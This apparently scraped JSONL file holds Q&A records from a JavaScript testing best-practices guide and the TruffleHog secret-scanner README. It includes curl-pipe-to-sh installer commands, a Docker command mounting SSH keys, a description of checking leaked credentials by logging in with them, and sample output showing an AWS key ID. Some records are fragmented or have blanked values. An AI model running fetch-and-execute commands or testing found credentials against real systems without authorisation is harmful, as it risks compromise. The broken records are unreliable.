{"id": "gh_36cb5bdfa4d8", "question": "How to: ask it to scan all licenses and fail with exit code other than 0 if it found unauthorized license. The CI system should catch this failure and stop the build", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "license-checker --summary --failOn BSD\n```\n![alt text](assets/bp-25-nodejs-licsense.png)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061511"}
{"id": "gh_3dfa82f08f25", "question": "How to: ⚪ ️5.6 Constantly inspect for vulnerable dependencies", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Even the most reputable dependencies such as Express have known vulnerabilities. This can get easily tamed using community tools such as [npm audit](https://docs.npmjs.com/getting-started/running-a-security-audit), or commercial tools like [snyk](https://snyk.io/) (offer also a free community version). Both can be invoked from your CI on every build\n\n❌ **Otherwise:** Keeping your code clean from vulnerabilities without dedicated tools will require to constantly follow online publications about new threats. Quite tedious\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061517"}
{"id": "gh_743fbca358d3", "question": "How to: :clap: Example: NPM Audit result", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![alt text](assets/bp-26-npm-audit-snyk.png \"NPM Audit result\")", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061522"}
{"id": "gh_88689c7f93ae", "question": "How to: ⚪ ️5.7 Automate dependency updates", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Yarn and npm latest introduction of package-lock.json introduced a serious challenge (the road to hell is paved with good intentions) — by default now, packages are no longer getting updates. Even a team running many fresh deployments with ‘npm install’ & ‘npm update’ won’t get any new updates. This leads to subpar dependent packages versions at best or to vulnerable code at worst. Teams now rely on developers goodwill and memory to manually update the package.json or use tools [like ncu](https://www.npmjs.com/package/npm-check-updates) manually. A more reliable way could be to automate the process of getting the most reliable dependency versions, though there are no silver bullet solutions yet there are two possible automation roads:\n\n(1) CI can fail builds that have obsolete dependencies — using tools like [‘npm outdated’](https://docs.npmjs.com/cli/outdated) or ‘npm-check-updates (ncu)’ . Doing so will enforce developers to update dependencies.\n\n(2) Use commercial tools that scan the code and automatically send pull requests with updated dependencies. One interesting question remaining is what should be the dependency update policy — updating on every patch generates too many overhead, updating right when a major is released might point to an unstable version (many packages found vulnerable on the very first days after being released, [see the](https://nodesource.com/blog/a-high-level-post-mortem-of-the-eslint-scope-security-incident/) eslint-scope incident).\n\nAn efficient update policy may allow some ‘vesting period’ — let the code lag behind the @latest for some time and versions before considering the local copy as obsolete (e.g. local version is 1.3.1 and repository version is 1.3.8)\n❌ **Otherwise:** Your production will run packages that have been explicitly tagged by their author as risky\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061531"}
{"id": "gh_659f6c8479cd", "question": "How to: :clap: Example: [ncu](https://www.npmjs.com/package/npm-check-updates) can be used manually or within a CI pipeline to detect to which extent the code lag behind the latest versions", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![alt text](assets/bp-27-yoni-goldberg-npm.png \"ncu can be used manually or within a CI pipeline to detect to which extent the code lag behind the latest versions\")", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061536"}
{"id": "gh_71809889da99", "question": "How to: ⚪ ️ 5.8 Other, non-Node related, CI tips", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** This post is focused on testing advice that is related to, or at least can be exemplified with Node JS. This bullet, however, groups few non-Node related tips that are well-known\nUse a declarative syntax. This is the only option for most vendors but older versions of Jenkins allows using code or UI\nOpt for a vendor that has native Docker support\nFail early, run your fastest tests first. Create a ‘Smoke testing’ step/milestone that groups multiple fast inspections (e.g. linting, unit tests) and provide snappy feedback to the code committer\nMake it easy to skim-through all build artifacts including test reports, coverage reports, mutation reports, logs, etc\nCreate multiple pipelines/jobs for each event, reuse steps between them. For example, configure a job for feature branch commits and a different one for master PR. Let each reuse logic using shared steps (most vendors provide some mechanism for code reuse)\nNever embed secrets in a job declaration, grab them from a secret store or from the job’s configuration\nExplicitly bump version in a release build or at least ensure the developer did so\nBuild only once and perform all the inspections over the single build artifact (e.g. Docker image)\nTest in an ephemeral environment that doesn’t drift state between builds. Caching node_modules might be the only exception\n❌ **Otherwise:** You‘ll miss years of wisdom", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061544"}
{"id": "gh_1190d66428b2", "question": "How to: ⚪ ️ 5.9 Build matrix: Run the same CI steps using multiple Node versions", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Quality checking is about serendipity, the more ground you cover the luckier you get in detecting issues early. When developing reusable packages or running a multi-customer production with various configuration and Node versions, the CI must run the pipeline of tests over all the permutations of configurations. For example, assuming we use MySQL for some customers and Postgres for others — some CI vendors support a feature called ‘Matrix’ which allow running the suit of testing against all permutations of MySQL, Postgres and multiple Node version like 8, 9 and 10. This is done using configuration only without any additional effort (assuming you have testing or any other quality checks). Other CIs who doesn’t support Matrix might have extensions or tweaks to allow that\n❌ **Otherwise:** So after doing all that hard work of writing testing are we going to let bugs sneak in only because of configuration issues?\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061551"}
{"id": "gh_9c027adebfa1", "question": "How to: :clap: Example: Using Travis (CI vendor) build definition to run the same test over multiple Node versions", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```\nlanguage: node_js\nnode_js:\n- \"7\"\n- \"6\"\n- \"5\"\n- \"4\"\ninstall:\n- npm install\nscript:\n- npm run test\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061556"}
{"id": "gh_76c44b683b0f", "question": "How to: Yoni Goldberg", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "**Role:** Writer\n\n**About:** I'm an independent consultant who works with Fortune 500 companies and garage startups on polishing their JS & Node.js applications. More than any other topic I'm fascinated by and aims to master the art of testing. I'm also the author of [Node.js Best Practices](https://github.com/goldbergyoni/nodebestpractices)\n\n**📗 Online Course:** Liked this guide and wish to take your testing skills to the extreme? Consider visiting my comprehensive course [Testing Node.js & JavaScript From A To Z](https://www.testjavascript.com)\n**Follow:**\n\n- [🐦 Twitter](https://twitter.com/goldbergyoni/)\n- [📞 Contact](https://testjavascript.com/contact-2/)\n- [✉️ Newsletter](https://testjavascript.com/newsletter//)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061565"}
{"id": "gh_f9ed8e05cae7", "question": "How to: [Bruno Scheufler](https://github.com/BrunoScheufler)", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "**Role:** Tech reviewer and advisor\n\nTook care to revise, improve, lint and polish all the texts\n\n**About:** full-stack web engineer, Node.js & GraphQL enthusiast", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061575"}
{"id": "gh_f18add1e247e", "question": "How to: [Ido Richter](https://github.com/idori)", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "**Role:** Concept, design and great advice\n\n**About:** A savvy frontend developer, CSS expert and emojis freak", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061579"}
{"id": "gh_4281ae80df32", "question": "How to: [Kyle Martin](https://github.com/js-kyle)", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "**Role:** Helps keep this project running, and reviews security related practices\n\n**About:** Loves working on Node.js projects and web application security.", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061584"}
{"id": "gh_5510e0d94ba2", "question": "How to: Contributors ✨", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "Thanks goes to these wonderful people who have contributed to this repository!\nScott Davis\n🖋\nAdrien REDON\n🖋\nStefano Magni\n🖋\nYeoh Joer\n🖋\nJhonny Moreira\n🖋\nIan Germann\n🖋\nHafez\n🖋\nRuxandra Fediuc\n🖋\nJack\n🖋\nPeter Carrero\n🖋\nHuhgawz\n🖋\nHaakon Borch\n🖋\nJaime Mendoza\n🖋\nCameron Dunford\n🖋\nJohn Gee\n🖋\nAurelijus Rožėnas\n🖋\nAaron\n🖋", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061628"}
{"id": "gh_72e429e4de67", "question": "How to: :mag_right: _Now Scanning_", "question_body": "About trufflesecurity/trufflehog", "answer": "**...and more**\n\nTo learn more about TruffleHog and its features and capabilities, visit our [product page](https://trufflesecurity.com/trufflehog?gclid=CjwKCAjwouexBhAuEiwAtW_Zx5IW87JNj97Ci7heFnA5ar6-DuNzT2Y5nIl9DuZ-FOUqx0Qg3vb9nxoClcEQAvD_BwE).", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415058"}
{"id": "gh_791ab6efa815", "question": "How to: :globe_with_meridians: TruffleHog Enterprise", "question_body": "About trufflesecurity/trufflehog", "answer": "Are you interested in continuously monitoring **Git, Jira, Slack, Confluence, Microsoft Teams, Sharepoint (and more)** for credentials? We have an enterprise product that can help! Learn more at\n.\n\nWe take the revenue from the enterprise product to fund more awesome open source projects that the whole community can benefit from.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415073"}
{"id": "gh_7017d44eccca", "question": "How to: What is TruffleHog 🐽", "question_body": "About trufflesecurity/trufflehog", "answer": "TruffleHog is the most powerful secrets **Discovery, Classification, Validation,** and **Analysis** tool. In this context, secret refers to a credential a machine uses to authenticate itself to another machine. This includes API keys, database passwords, private encryption keys, and more.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415081"}
{"id": "gh_c930ba9c91bd", "question": "How to: Discovery 🔍", "question_body": "About trufflesecurity/trufflehog", "answer": "TruffleHog can look for secrets in many places including Git, chats, wikis, logs, API testing platforms, object stores, filesystems and more.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415087"}
{"id": "gh_ff20fb9cf164", "question": "How to: Classification 📁", "question_body": "About trufflesecurity/trufflehog", "answer": "TruffleHog classifies over 800 secret types, mapping them back to the specific identity they belong to. Is it an AWS secret? Stripe secret? Cloudflare secret? Postgres password? SSL Private key? Sometimes it's hard to tell looking at it, so TruffleHog classifies everything it finds.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415093"}
{"id": "gh_15e67e7d7cf8", "question": "How to: Validation ✅", "question_body": "About trufflesecurity/trufflehog", "answer": "For every secret TruffleHog can classify, it can also log in to confirm if that secret is live or not. This step is critical to know if there’s an active present danger or not.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415101"}
{"id": "gh_791c9c84d934", "question": "How to: Analysis 🔬", "question_body": "About trufflesecurity/trufflehog", "answer": "For the 20 some of the most commonly leaked out credential types, instead of sending one request to check if the secret can log in, TruffleHog can send many requests to learn everything there is to know about the secret. Who created it? What resources can it access? What permissions does it have on those resources?", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415107"}
{"id": "gh_f0d604a91d22", "question": "How to: :loudspeaker: Join Our Community", "question_body": "About trufflesecurity/trufflehog", "answer": "Have questions? Feedback? Jump into Slack or Discord and hang out with us.\n\nJoin our [Slack Community](https://join.slack.com/t/trufflehog-community/shared_invite/zt-pw2qbi43-Aa86hkiimstfdKH9UCpPzQ)\n\nJoin the [Secret Scanning Discord](https://discord.gg/8Hzbrnkr7E)", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415113"}
{"id": "gh_9c5affcbcc0a", "question": "How to: Binary releases", "question_body": "About trufflesecurity/trufflehog", "answer": "```bash\nDownload and unpack from https://github.com/trufflesecurity/trufflehog/releases\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415123"}
{"id": "gh_3997dd45df74", "question": "How to: Compile from source", "question_body": "About trufflesecurity/trufflehog", "answer": "```bash\ngit clone https://github.com/trufflesecurity/trufflehog.git\ncd trufflehog; go install\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415128"}
{"id": "gh_3a4ece2ca49c", "question": "How to: Using installation script", "question_body": "About trufflesecurity/trufflehog", "answer": "```bash\ncurl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415133"}
{"id": "gh_03f9f3156f68", "question": "How to: Using installation script, verify checksum signature (requires cosign to be installed)", "question_body": "About trufflesecurity/trufflehog", "answer": "```bash\ncurl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -v -b /usr/local/bin\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415138"}
{"id": "gh_8288b93b8120", "question": "How to: Using installation script to install a specific version", "question_body": "About trufflesecurity/trufflehog", "answer": "```bash\ncurl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415144"}
{"id": "gh_fe24590fe760", "question": "How to: :closed_lock_with_key: Verifying the artifacts", "question_body": "About trufflesecurity/trufflehog", "answer": "Checksums are applied to all artifacts, and the resulting checksum file is signed using cosign.\n\nYou need the following tool to verify signature:\n\n- [Cosign](https://docs.sigstore.dev/cosign/system_config/installation/)\n\nVerification steps are as follows:\n\n1. Download the artifact files you want, and the following files from the [releases](https://github.com/trufflesecurity/trufflehog/releases) page.\n\n   - trufflehog\\_{version}\\_checksums.txt\n   - trufflehog\\_{version}\\_checksums.txt.pem\n   - trufflehog\\_{version}\\_checksums.txt.sig\n\n2. Verify the signature:\n\n   ```shell\n   cosign verify-blob\n\\\n   --certificate\n\\\n   --signature\n\\\n   --certificate-identity-regexp 'https://github\\.com/trufflesecurity/trufflehog/\\.github/workflows/.+' \\\n   --certificate-oidc-issuer \"https://token.actions.githubusercontent.com\"\n   ```\n\n3. Once the signature is confirmed as valid, you can proceed to validate that the SHA256 sums align with the downloaded artifact:\n\n   ```shell\n   sha256sum --ignore-missing -c trufflehog_{version}_checksums.txt\n   ```\n\nReplace `{version}` with the downloaded files version\n\nAlternatively, if you are using the installation script, pass `-v` option to perform signature verification.\nThis requires Cosign binary to be installed prior to running the installation script.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415152"}
{"id": "gh_42d1780fd757", "question": "How to: 1: Scan a repo for only verified secrets", "question_body": "About trufflesecurity/trufflehog", "answer": "Command:\n\n```bash\ntrufflehog git https://github.com/trufflesecurity/test_keys --results=verified\n```\n\nExpected output:\n\n```\n🐷🔑🐷  TruffleHog. Unearth your secrets. 🐷🔑🐷\n\nFound verified result 🐷🔑\nDetector Type: AWS\nDecoder Type: PLAIN\nRaw result: AKIAYVP4CIPPERUVIFXG\nLine: 4\nCommit: fbc14303ffbf8fb1c2c1914e8dda7d0121633aca\nFile: keys\nEmail: counter\nRepository: https://github.com/trufflesecurity/test_keys\nTimestamp: 2022-06-16 10:17:40 -0700 PDT\n...\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415163"}
{"id": "gh_511ae2c51977", "question": "How to: 2: Scan a GitHub Org for only verified secrets", "question_body": "About trufflesecurity/trufflehog", "answer": "```bash\ntrufflehog github --org=trufflesecurity --results=verified\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415168"}
{"id": "gh_0c5b1373bef3", "question": "How to: 3: Scan a GitHub Repo for only verified secrets and get JSON output", "question_body": "About trufflesecurity/trufflehog", "answer": "Command:\n\n```bash\ntrufflehog git https://github.com/trufflesecurity/test_keys --results=verified --json\n```\n\nExpected output:\n\n```\n{\"SourceMetadata\":{\"Data\":{\"Git\":{\"commit\":\"fbc14303ffbf8fb1c2c1914e8dda7d0121633aca\",\"file\":\"keys\",\"email\":\"counter \\u003ccounter@counters-MacBook-Air.local\\u003e\",\"repository\":\"https://github.com/trufflesecurity/test_keys\",\"timestamp\":\"2022-06-16 10:17:40 -0700 PDT\",\"line\":4}}},\"SourceID\":0,\"SourceType\":16,\"SourceName\":\"trufflehog - git\",\"DetectorType\":2,\"DetectorName\":\"AWS\",\"DecoderName\":\"PLAIN\",\"Verified\":true,\"Raw\":\"AKIAYVP4CIPPERUVIFXG\",\"Redacted\":\"AKIAYVP4CIPPERUVIFXG\",\"ExtraData\":{\"account\":\"595918472158\",\"arn\":\"arn:aws:iam::595918472158:user/canarytokens.com@@mirux23ppyky6hx3l6vclmhnj\",\"user_id\":\"AIDAYVP4CIPPJ5M54LRCY\"},\"StructuredData\":null}\n...\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415175"}
{"id": "gh_e6a2c75d5131", "question": "How to: 4: Scan a GitHub Repo + its Issues and Pull Requests", "question_body": "About trufflesecurity/trufflehog", "answer": "```bash\ntrufflehog github --repo=https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415180"}
{"id": "gh_e307ba6f6e9e", "question": "How to: 5: Scan an S3 bucket for high-confidence results (verified + unknown)", "question_body": "About trufflesecurity/trufflehog", "answer": "```bash\ntrufflehog s3 --bucket=\n--results=verified,unknown\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415185"}
{"id": "gh_7dc921badfeb", "question": "How to: 6: Scan S3 buckets using IAM Roles", "question_body": "About trufflesecurity/trufflehog", "answer": "```bash\ntrufflehog s3 --role-arn=\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415190"}
{"id": "gh_7b678dba68b8", "question": "How to: 7: Scan a Github Repo using SSH authentication in Docker", "question_body": "About trufflesecurity/trufflehog", "answer": "```bash\ndocker run --rm -v \"$HOME/.ssh:/root/.ssh:ro\" trufflesecurity/trufflehog:latest git ssh://github.com/trufflesecurity/test_keys\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415195"}
{"id": "gh_f7f990388680", "question": "How to: 8: Scan individual files or directories", "question_body": "About trufflesecurity/trufflehog", "answer": "```bash\ntrufflehog filesystem path/to/file1.txt path/to/file2.txt path/to/dir\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415200"}
{"id": "gh_c168d75fa710", "question": "How to: 9: Scan a local git repo", "question_body": "About trufflesecurity/trufflehog", "answer": "Clone the git repo. For example [test keys](git@github.com:trufflesecurity/test_keys.git) repo.\n```bash\n$ git clone git@github.com:trufflesecurity/test_keys.git\n```\n\nRun trufflehog from the parent directory (outside the git repo).\n```bash\n$ trufflehog git file://test_keys --results=verified,unknown\n```\n\nTo guard against malicious git configs in local scanning (see CVE-2025-41390), TruffleHog clones local git repositories to a temporary directory prior to scanning. This follows [Git's security best practices](https://git-scm.com/docs/git#_security). If you want to specify a custom path to clone the repository to (instead of tmp), you can use the `--clone-path` flag. If you'd like to skip the local cloning process and scan the repository directly (only do this for trusted repos), you can use the `--trust-local-git-config` flag.", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415206"}
{"id": "gh_261919863c08", "question": "How to: 10: Scan GCS buckets for only verified secrets", "question_body": "About trufflesecurity/trufflehog", "answer": "```bash\ntrufflehog gcs --project-id=\n--cloud-environment --results=verified\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415211"}
{"id": "gh_5685e2078497", "question": "How to: 11: Scan a Docker image for only verified secrets", "question_body": "About trufflesecurity/trufflehog", "answer": "Use the `--image` flag multiple times to scan multiple images.\n\n```bash", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415216"}
{"id": "gh_006f40489065", "question": "How to: to scan from a remote registry", "question_body": "About trufflesecurity/trufflehog", "answer": "trufflehog docker --image trufflesecurity/secrets --results=verified", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415222"}
{"id": "gh_12c049bccf1c", "question": "How to: to scan from the local docker daemon", "question_body": "About trufflesecurity/trufflehog", "answer": "trufflehog docker --image docker://new_image:tag --results=verified", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24128, "answer_score": 10, "has_code": false, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415226"}
{"id": "gh_f82c0760724c", "question": "How to: to scan from an image saved as a tarball", "question_body": "About trufflesecurity/trufflehog", "answer": "trufflehog docker --image file://path_to_image.tar --results=verified\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415231"}
{"id": "gh_c4d0cf0b2d26", "question": "How to: 12: Scan in CI", "question_body": "About trufflesecurity/trufflehog", "answer": "Set the `--since-commit` flag to your default branch that people merge into (ex: \"main\"). Set the `--branch` flag to your PR's branch name (ex: \"feature-1\"). Depending on the CI/CD platform you use, this value can be pulled in dynamically (ex: [CIRCLE_BRANCH in Circle CI](https://circleci.com/docs/variables/) and [TRAVIS_PULL_REQUEST_BRANCH in Travis CI](https://docs.travis-ci.com/user/environment-variables/)). If the repo is cloned and the target branch is already checked out during the CI/CD workflow, then `--branch HEAD` should be sufficient. The `--fail` flag will return an 183 error code if valid credentials are found.\n\n```bash\ntrufflehog git file://. --since-commit main --branch feature-1 --results=verified,unknown --fail\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415237"}
{"id": "gh_13647dee31e8", "question": "How to: 13: Scan a Postman workspace", "question_body": "About trufflesecurity/trufflehog", "answer": "Use the `--workspace-id`, `--collection-id`, `--environment` flags multiple times to scan multiple targets.\n\n```bash\ntrufflehog postman --token=\n--workspace-id=\n```", "tags": ["trufflesecurity"], "source": "github_gists", "category": "trufflesecurity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24128, "answer_score": 10, "has_code": true, "url": "https://github.com/trufflesecurity/trufflehog", "collected_at": "2026-01-17T08:22:02.415243"}
